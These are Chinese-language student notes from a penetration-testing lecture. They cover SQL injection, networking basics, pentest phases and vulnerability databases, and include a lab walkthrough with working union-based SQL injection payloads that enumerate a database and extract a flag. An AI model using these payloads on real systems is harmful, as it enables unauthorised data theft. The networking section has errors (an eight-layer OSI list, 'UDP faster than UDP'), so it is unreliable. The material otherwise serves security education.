###### tags: `創科實習講座` # 【講座】資安這條路─系統化學習滲透測試 ## 學習技術 ### SQL injection - String SQL injection - 漏洞成因:SQL查詢語句字串拼接時 - Union SQL Injection - 漏洞成因:MySQL有資訊資料庫可以找出此網站使用的資料庫名字、資料表名字、欄位以及資料內容 ### 網路運作方式 - OSI模型 1. 實體層 2. 資料連結層 3. 網路層(常用通訊協議:IP) 4. 傳輸層(常用通訊協議:TCP/UDP) - TCP - 接收端/發送端 須先建立連線 - 封包不會有遺失 - UDP - 傳送速度比UDP快 - 多用於網路直播等 - 封包會有遺失的問題 6. 會議層 7. 展示層 8. 應用層 ### 滲透測試 > 做測試之前必須先合法簽約,確定這個網域是所屬此間公司的,免得以後被告wwww(保護自己也保護他人) #### 測試階段: 1. 資訊蒐集 2. 漏洞識別 3. 漏洞利用 4. 清除紀錄 5. 撰寫報告 6. 修復複測 #### 測試類型 - 白箱測試 - 測試人員可以拿到原始的程式碼 - 測試人員可事先針對程式碼進行審查,擬定攻擊的方式 - 黑箱測試 - 測試人員需自行蒐集資訊 - 測試公司只提供目標的名稱/網址/IP - 模擬駭客 #### 檢測到的弱點/漏洞 > 測試人員以滲透工具與檢測手法,發現目標系統/網站存在,以下但不限於的弱點/漏洞類型: 1. 未經授權可存取/修改/刪除敏感資料(如會員資料/訂單資料等) 2. 因人為設定錯誤(如開發人員debug模式未關閉),導致敏感資料外洩 ### 漏洞資料庫 - [MITRE CVE:資安弱點情資分享,漏洞資料庫,記錄每一個 CVE 的內容](https://cve.mitre.org/) - [MITRE ATT&CK:資安威脅情資分享,攻擊防禦資料庫](https://attack.mitre.org/) - [ExploitDB:許多可驗證漏洞存在的 POC](https://www.exploit-db.com/) - [NVD:漏洞資料庫,來自 CVE 並加強搜尋與關聯軟體、產品列表](https://nvd.nist.gov/vuln/search) ## 實作 - String SQL injection ```SELECT * FROM users WHERE first_name = 'Jane' AND last_name = '' or '1' = '1'``` - Union SQL Injection 1. 先判斷資料表有幾個欄位,利用```order by```,從下圖可知欄位只有3個 ![](https://i.imgur.com/ouoVMnJ.png) 2. 利用```id=1 and 1 = 2 union select NULL,group_concat(schema_name),NULL FROM information_schema.schemata```找出資料庫名稱 ![](https://i.imgur.com/MGTW32j.png) 3. 利用```id=1 and 1 = 2 union select NULL,group_concat(table_name),NULL FROM information_schema.tables WHERE table_schema='myDb' #```找出資料表名稱 ![](https://i.imgur.com/gKqg671.png) 4. 利用```id=1 and 1 = 2 union select NULL,group_concat(column_name),NULL FROM information_schema.columns WHERE table_name='secret' ```找出資料表欄位 ![](https://i.imgur.com/1iUxMjw.png) 5. 利用```id=1 and 1 = 2 union SELECT NULL ,THIS_IS_FLAG,NULL FROM secret```找出欄位資料 ![](https://i.imgur.com/wrmpDLh.png) ## 講座、講師建議 1. 如果講座可以一整天就好了(時間真的太短惹) 2. 如果實做可以帶得更多就好(總結時間太短嗚嗚) ## 心得感想 很喜歡飛飛的講課風格,不會覺得很枯燥,會舉很多實例來說明此事件的漏洞成因及漏洞攻擊手法(雖然可能違法???xD),相較於課本上寫的定義,更喜歡這種以實例來帶內容的,但就是時間太短了QaQ 原本想說會帶到如何自己做滲透測試的軟體,[Day3 安裝滲透測試用的作業系統- Kali Linux 和 Parrot OS](https://ithelp.ithome.com.tw/articles/10265759),因為自己當時再跟著做的時候軟體一直安裝失敗...然後就沒辦法繼續往下做了,希望之後還可以有類似的講座!